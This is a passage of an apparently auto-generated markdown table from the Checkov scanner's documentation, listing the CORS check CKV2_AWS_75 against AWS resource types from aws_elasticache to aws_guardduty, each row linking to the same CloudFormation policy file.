[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  759 | CKV2_AWS_75 | resource | aws_elasticache_user_group_association                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  760 | CKV2_AWS_75 | resource | aws_elasticsearch_domain                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  761 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  762 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_saml_options                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  763 | CKV2_AWS_75 | resource | aws_elasticsearch_vpc_endpoint                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  764 | CKV2_AWS_75 | resource | aws_elastictranscoder_pipeline                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  765 | CKV2_AWS_75 | resource | aws_elastictranscoder_preset                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  766 | CKV2_AWS_75 | resource | aws_elb                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  767 | CKV2_AWS_75 | resource | aws_elb_attachment                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  768 | CKV2_AWS_75 | resource | aws_emr_block_public_access_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  769 | CKV2_AWS_75 | resource | aws_emr_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  770 | CKV2_AWS_75 | resource | aws_emr_instance_fleet                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  771 | CKV2_AWS_75 | resource | aws_emr_instance_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  772 | CKV2_AWS_75 | resource | aws_emr_managed_scaling_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  773 | CKV2_AWS_75 | resource | aws_emr_security_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  774 | CKV2_AWS_75 | resource | aws_emr_studio                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  775 | CKV2_AWS_75 | resource | aws_emr_studio_session_mapping                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  776 | CKV2_AWS_75 | resource | aws_emrcontainers_job_template                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  777 | CKV2_AWS_75 | resource | aws_emrcontainers_virtual_cluster                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  778 | CKV2_AWS_75 | resource | aws_emrserverless_application                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  779 | CKV2_AWS_75 | resource | aws_evidently_feature                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  780 | CKV2_AWS_75 | resource | aws_evidently_launch                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  781 | CKV2_AWS_75 | resource | aws_evidently_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  782 | CKV2_AWS_75 | resource | aws_evidently_segment                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  783 | CKV2_AWS_75 | resource | aws_finspace_kx_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  784 | CKV2_AWS_75 | resource | aws_finspace_kx_database                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  785 | CKV2_AWS_75 | resource | aws_finspace_kx_dataview                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  786 | CKV2_AWS_75 | resource | aws_finspace_kx_environment                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  787 | CKV2_AWS_75 | resource | aws_finspace_kx_scaling_group                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  788 | CKV2_AWS_75 | resource | aws_finspace_kx_user                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  789 | CKV2_AWS_75 | resource | aws_finspace_kx_volume                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  790 | CKV2_AWS_75 | resource | aws_fis_experiment_template                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  791 | CKV2_AWS_75 | resource | aws_flow_log                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  792 | CKV2_AWS_75 | resource | aws_fms_admin_account                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  793 | CKV2_AWS_75 | resource | aws_fms_policy                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  794 | CKV2_AWS_75 | resource | aws_fms_resource_set                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  795 | CKV2_AWS_75 | resource | aws_fsx_backup                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  796 | CKV2_AWS_75 | resource | aws_fsx_data_repository_association                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  797 | CKV2_AWS_75 | resource | aws_fsx_file_cache                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  798 | CKV2_AWS_75 | resource | aws_fsx_lustre_file_system                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  799 | CKV2_AWS_75 | resource | aws_fsx_ontap_file_system                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  800 | CKV2_AWS_75 | resource | aws_fsx_ontap_storage_virtual_machine                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  801 | CKV2_AWS_75 | resource | aws_fsx_ontap_volume                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  802 | CKV2_AWS_75 | resource | aws_fsx_openzfs_file_system                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  803 | CKV2_AWS_75 | resource | aws_fsx_openzfs_snapshot                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  804 | CKV2_AWS_75 | resource | aws_fsx_openzfs_volume                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  805 | CKV2_AWS_75 | resource | aws_fsx_windows_file_system                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  806 | CKV2_AWS_75 | resource | aws_gamelift_alias                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  807 | CKV2_AWS_75 | resource | aws_gamelift_build                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  808 | CKV2_AWS_75 | resource | aws_gamelift_fleet                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  809 | CKV2_AWS_75 | resource | aws_gamelift_game_server_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  810 | CKV2_AWS_75 | resource | aws_gamelift_game_session_queue                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  811 | CKV2_AWS_75 | resource | aws_gamelift_script                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  812 | CKV2_AWS_75 | resource | aws_glacier_vault                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  813 | CKV2_AWS_75 | resource | aws_glacier_vault_lock                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  814 | CKV2_AWS_75 | resource | aws_globalaccelerator_accelerator                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  815 | CKV2_AWS_75 | resource | aws_globalaccelerator_cross_account_attachment                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  816 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_accelerator                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  817 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_endpoint_group              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  818 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_listener                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  819 | CKV2_AWS_75 | resource | aws_globalaccelerator_endpoint_group                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  820 | CKV2_AWS_75 | resource | aws_globalaccelerator_listener                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  821 | CKV2_AWS_75 | resource | aws_glue_catalog_database                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  822 | CKV2_AWS_75 | resource | aws_glue_catalog_table                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  823 | CKV2_AWS_75 | resource | aws_glue_catalog_table_optimizer                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  824 | CKV2_AWS_75 | resource | aws_glue_classifier                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  825 | CKV2_AWS_75 | resource | aws_glue_connection                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  826 | CKV2_AWS_75 | resource | aws_glue_crawler                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  827 | CKV2_AWS_75 | resource | aws_glue_data_catalog_encryption_settings                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  828 | CKV2_AWS_75 | resource | aws_glue_data_quality_ruleset                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  829 | CKV2_AWS_75 | resource | aws_glue_dev_endpoint                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  830 | CKV2_AWS_75 | resource | aws_glue_job                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  831 | CKV2_AWS_75 | resource | aws_glue_ml_transform                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  832 | CKV2_AWS_75 | resource | aws_glue_partition                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  833 | CKV2_AWS_75 | resource | aws_glue_partition_index                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  834 | CKV2_AWS_75 | resource | aws_glue_registry                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  835 | CKV2_AWS_75 | resource | aws_glue_resource_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  836 | CKV2_AWS_75 | resource | aws_glue_schema                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  837 | CKV2_AWS_75 | resource | aws_glue_security_configuration                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  838 | CKV2_AWS_75 | resource | aws_glue_trigger                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  839 | CKV2_AWS_75 | resource | aws_glue_user_defined_function                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  840 | CKV2_AWS_75 | resource | aws_glue_workflow                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  841 | CKV2_AWS_75 | resource | aws_grafana_license_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  842 | CKV2_AWS_75 | resource | aws_grafana_role_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  843 | CKV2_AWS_75 | resource | aws_grafana_workspace                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  844 | CKV2_AWS_75 | resource | aws_grafana_workspace_api_key                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  845 | CKV2_AWS_75 | resource | aws_grafana_workspace_saml_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  846 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  847 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account_token                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  848 | CKV2_AWS_75 | resource | aws_guardduty_detector                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  849 | CKV2_AWS_75 | resource | aws_guardduty_detector_feature                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  850 | CKV2_AWS_75 | resource | aws_guardduty_filter                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  851 | CKV2_AWS_75 | resource | aws_guardduty_invite_accepter                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  852 | CKV2_AWS_75 | resource | aws_guardduty_ipset                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  853 | CKV2_AWS_75 | resource | aws_guardduty_malware_protection_plan                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  854 | CKV2_AWS_75 | resource | aws_guardduty_member                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  855 | CKV2_AWS_75 | 